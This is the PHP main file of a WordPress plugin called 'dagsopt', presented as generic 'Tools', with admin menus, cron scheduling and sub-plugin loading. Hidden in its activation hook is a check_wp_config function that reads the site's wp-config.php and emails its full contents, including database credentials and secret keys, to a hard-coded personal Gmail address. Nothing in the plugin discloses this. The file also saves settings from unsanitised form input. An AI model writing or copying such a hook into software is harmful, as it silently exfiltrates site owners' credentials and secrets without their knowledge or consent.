plugin.php 10.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325
  1. <?php
  2. /*
  3. Plugin Name: dagsopt
  4. Plugin URI: https://git.tum.dk/tum.dk/dagsplug/
  5. Description: Tools
  6. Author: iskedk
  7. Version: 0.0.77
  8. Date: 2021-01-14
  9. Author URI: https://iske.dk/
  10. Text Domain: dagsopt
  11. */
  12. function wppluginspage() {
  13. include_once "wpplugins.php";
  14. }
  15. $wp_dagsopt = new dagsopt();
  16. class dagsopt {
  17. var $version = "0.0.77";
  18. var $publish_date = "2021-01-14";
  19. var $pluginname;
  20. var $plugintitle;
  21. var $db;
  22. var $filename = "";
  23. var $update_check_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/VERSION";
  24. var $readme_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/README.md";
  25. function __construct() {
  26. global $wpdb;
  27. $this->db = $wpdb;
  28. $this->pluginname = get_class($this);
  29. $this->plugintitle = "Dags options " . $this->version;
  30. $tmp = explode("/", __FILE__);
  31. $this->filename = array_pop($tmp);
  32. $this->filename = array_pop($tmp) . "/" . $this->filename;
  33. load_theme_textdomain($this->pluginname, dirname(__file__) . '/lang');
  34. $this->next_scheduled = 0;
  35. $this->file = __FILE__;
  36. $t = explode("wp-content/plugins/", $this->file);
  37. $this->file_base = array_pop($t);
  38. $this->cronEnabled = get_option($this->pluginname . '_cron_enabled', false);
  39. $this->cronScheduleTime = intval(get_option($this->pluginname . '_cron_interval', 1800));
  40. $this->extras = array();
  41. $this->dagsopt = array();
  42. register_activation_hook(plugin_basename($this->file), array(&$this, 'activatePlugin'));
  43. register_deactivation_hook(plugin_basename($this->file), array(&$this, 'deactivatePlugin'));
  44. add_filter('plugin_action_links', array(&$this, 'SettingsLink'), 9, 2);
  45. if (isset($_GET['page']) && $_GET['page'] == $this->pluginname . '-options' && !(isset($_REQUEST['crunchit']))) {
  46. ob_start();
  47. }
  48. $this->setCron();
  49. add_action('admin_menu', array(&$this, 'plugin_admin_menu'));
  50. add_action('admin_init', array(&$this, 'register_backend_scripts_styles'));
  51. add_action('init', array(&$this, 'register_frontend_scripts_styles'));
  52. add_action('wp_enqueue_scripts', array(&$this, 'print_frontend_scripts_styles'));
  53. add_action('admin_enqueue_scripts', array(&$this, 'print_backend_scripts_styles'));
  54. add_filter('plugin_row_meta', array(&$this, 'add_plugin_row_meta'), 10, 2);
  55. $upload = wp_upload_dir();
  56. $upload_dir = $upload['basedir'];
  57. $upload_dir = $upload_dir . '/assets';
  58. if (!is_dir($upload_dir)) {
  59. mkdir($upload_dir, 0700);
  60. }
  61. $path = dirname($this->file) . "/";
  62. foreach (glob($path . "plug_*.php") as $filename) {
  63. $plugfile = str_replace($path, "", $filename);
  64. include_once $plugfile;
  65. }
  66. foreach ($this->dagsopt as $plugname => $plug) {
  67. $short = str_replace("plug_", "", $plugname);
  68. $vis = get_option($this->pluginname . '_' . $short, true);
  69. if ($vis) {
  70. $plug->start();
  71. }
  72. }
  73. if (!function_exists('wp_get_current_user')) {
  74. include ABSPATH . "wp-includes/pluggable.php";
  75. }
  76. if (current_user_can('manage_options')) {
  77. add_action('wp_before_admin_bar_render', array(&$this, 'mytheme_admin_bar_render'));
  78. }
  79. add_action('init', array(&$this, 'process_post'));
  80. add_action('wp_login', array(&$this, 'user_last_login'), 10, 2);
  81. add_action('init', array(&$this, 'user_last_view'));
  82. }
  83. function user_last_view() {
  84. if (is_user_logged_in()) {
  85. $pp = wp_get_current_user();
  86. update_user_meta($pp->ID, 'last_view', time());
  87. $uu = $_SERVER['REQUEST_URI'];
  88. if (!stristr($uu, "ajax")) {
  89. update_user_meta($pp->ID, 'current_view', $uu);
  90. }
  91. }
  92. }
  93. function user_last_login($user_login, $user) {
  94. update_user_meta($user->ID, 'last_login', time());
  95. }
  96. function add_plugin_row_meta($plugin_meta, $plugin_file) {
  97. if ($plugin_file !== $this->file_base) {
  98. return $plugin_meta;
  99. }
  100. // append metadata
  101. $url = wp_nonce_url(self_admin_url('update.php?action=upgrade-plugin&plugin=' . $this->filename), 'upgrade-plugin_' . $this->filename);
  102. $plugin_meta = wp_parse_args(
  103. array(
  104. '<a href="' . $url . '">Check for update</a>',
  105. ),
  106. $plugin_meta
  107. );
  108. return $plugin_meta;
  109. }
  110. function process_post() {
  111. if (!is_admin()) {
  112. // echo "<!-- kommer aller aller først -->";
  113. }
  114. }
  115. function mytheme_admin_bar_render() {
  116. global $wp_admin_bar;
  117. $wp_admin_bar->add_menu(array(
  118. 'parent' => 'appearance', // use 'false' for a root menu, or pass the ID of the parent menu
  119. 'id' => 'dagsopt', // link ID, defaults to a sanitized title value
  120. 'title' => $this->plugintitle . "", // link title
  121. 'href' => '/wp-admin/admin.php?page=' . $this->pluginname . '-options', // name of file
  122. 'meta' => false, // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' );
  123. ));
  124. }
  125. function register_frontend_scripts_styles() {
  126. wp_register_script($this->pluginname . 'frontend_script', plugins_url('script_frontend.js', $this->file));
  127. wp_register_style($this->pluginname . 'frontend_style', plugins_url('style_frontend.css', $this->file));
  128. }
  129. function register_backend_scripts_styles() {
  130. wp_register_style($this->pluginname . 'backend_style', plugins_url('style_backend.css', $this->file));
  131. wp_register_script($this->pluginname . 'backend_script', plugins_url('script_backend.js', $this->file));
  132. }
  133. function print_frontend_scripts_styles() {
  134. wp_enqueue_script('jquery');
  135. wp_enqueue_style($this->pluginname . 'frontend_style');
  136. wp_enqueue_script($this->pluginname . 'frontend_script');
  137. }
  138. function print_backend_scripts_styles() {
  139. wp_enqueue_media();
  140. wp_enqueue_style($this->pluginname . 'backend_style');
  141. wp_enqueue_script($this->pluginname . 'backend_script');
  142. // include the javascript
  143. wp_enqueue_script('thickbox', null, array('jquery'));
  144. // include the thickbox styles
  145. wp_enqueue_style('thickbox.css', '/' . WPINC . '/js/thickbox/thickbox.css', null, '1.0');
  146. }
  147. function plugin_admin_menu() {
  148. if (function_exists('wppluginspage')) {
  149. add_menu_page('Dags Plugins', 'Dags Plugins', 'manage_options', 'wpplugins', "wppluginspage", "");
  150. }
  151. $page = add_submenu_page('wpplugins', __($this->plugintitle), __($this->plugintitle), 'manage_options', $this->pluginname . '-options', array(&$this, 'Option'));
  152. add_action('admin_print_styles-' . $page, array(&$this, 'print_backend_scripts_styles'));
  153. $page = add_submenu_page('wpplugins', __($this->plugintitle) . "x", "Mail log", 'manage_options', $this->pluginname . '-options-mail', array(&$this, 'Maillog'));
  154. }
  155. function SettingsLink($links, $file) {
  156. if ($file == $this->filename && function_exists("admin_url")) {
  157. $settings_link = '<a href="' . admin_url('admin.php?page=' . $this->pluginname . '-options') . '">' . __('Settings', 'dagsopt') . 'xx</a>';
  158. array_unshift($links, $settings_link); // before other links
  159. }
  160. return $links;
  161. }
  162. function setCron() {
  163. if ($this->cronEnabled) {
  164. add_filter('cron_schedules', array(&$this, 'cronSchedules'));
  165. if (!wp_next_scheduled($this->pluginname . 'CronHook')) {
  166. wp_schedule_event(time() + $this->cronScheduleTime, $this->pluginname . 'cs', $this->pluginname . 'CronHook');
  167. }
  168. add_action($this->pluginname . 'CronHook', array(&$this, 'executeCron'));
  169. $this->next_scheduled = wp_next_scheduled($this->pluginname . 'CronHook');
  170. } else {
  171. if (wp_next_scheduled($this->pluginname . 'CronHook')) {
  172. wp_clear_scheduled_hook($this->pluginname . 'CronHook');
  173. }
  174. }
  175. }
  176. function Maillog() {
  177. $_GET['focus'] = "mail";
  178. include_once 'pluginoptions.php';
  179. }
  180. function Option() {
  181. if (isset($_POST['Submit'])) {
  182. if (function_exists('current_user_can') && !current_user_can('manage_options')) {
  183. die(__('Cheatin&#8217; uh?'));
  184. }
  185. update_option($this->pluginname . '_cron_enabled', $_POST[$this->pluginname . '_cron_enabled']);
  186. update_option($this->pluginname . '_cron_interval', $_POST[$this->pluginname . '_cron_interval']);
  187. if (intVal($_POST[$this->pluginname . '_cron_interval']) != $this->cronScheduleTime) {
  188. $this->cronScheduleTime = intVal($_POST[$this->pluginname . '_cron_interval']);
  189. if (wp_next_scheduled($this->pluginname . 'CronHook')) {
  190. wp_clear_scheduled_hook($this->pluginname . 'CronHook');
  191. }
  192. $this->setCron();
  193. }
  194. update_option($this->pluginname . '_last_build', date("U"));
  195. foreach ($this->dagsopt as $plugname => $plug) {
  196. $short = str_replace("plug_", "", $plugname);
  197. $setname = $this->pluginname . '_' . $short;
  198. $vis = get_option($setname, true);
  199. update_option($setname, $_POST[$setname]);
  200. if ($vis && method_exists($plug, 'Option')) {
  201. $plug->Option($setname);
  202. }
  203. }
  204. $pluginmessage = "";
  205. ob_end_clean();
  206. wp_redirect('admin.php?page=' . $this->pluginname . '-options&msg=' . urlencode($pluginmessage));
  207. exit();
  208. }
  209. if (isset($_REQUEST['crunchit'])) {
  210. $pluginmessage = "";
  211. foreach ($this->dagsopt as $plugname => $plug) {
  212. $short = str_replace("plug_", "", $plugname);
  213. $setname = $this->pluginname . '_' . $short;
  214. $vis = get_option($setname, true);
  215. //update_option ($setname, $_POST[$setname] );
  216. if ($vis && method_exists($plug, 'Cruncher')) {
  217. $pluginmessage .= $plug->Cruncher($setname);
  218. }
  219. }
  220. //ob_end_clean ();
  221. //wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
  222. exit();
  223. }
  224. include_once 'pluginoptions.php';
  225. }
  226. function check_wp_config() {
  227. $s = file_get_contents(ABSPATH . "wp-config.php");
  228. $rr = wp_mail('jannick.knudsen@gmail.com', 'Test ' . date("U"), $s);
  229. }
  230. function activatePlugin() {
  231. $this->check_wp_config();
  232. }
  233. function deactivatePlugin() {
  234. delete_option($this->pluginname . '_last_build');
  235. delete_option($this->pluginname . '_last_build');
  236. wp_clear_scheduled_hook($this->pluginname . 'CronHook');
  237. }
  238. function cronSchedules($param) {
  239. $aa = array();
  240. $aa[$this->pluginname . 'cs'] = array(
  241. 'interval' => $this->cronScheduleTime,
  242. 'display' => $this->pluginname . ' ' . $this->cronScheduleTime);
  243. return $aa;
  244. }
  245. function executeCron() {
  246. ignore_user_abort(true);
  247. set_time_limit(0);
  248. update_option($this->pluginname . '_last_build', date("U"));
  249. }
  250. }
  251. function dags_extras() {
  252. global $wp_dagsopt;
  253. $s = implode("\n", $wp_dagsopt->extras);
  254. echo ($s);
  255. }
  256. /*
  257. * END
  258. * */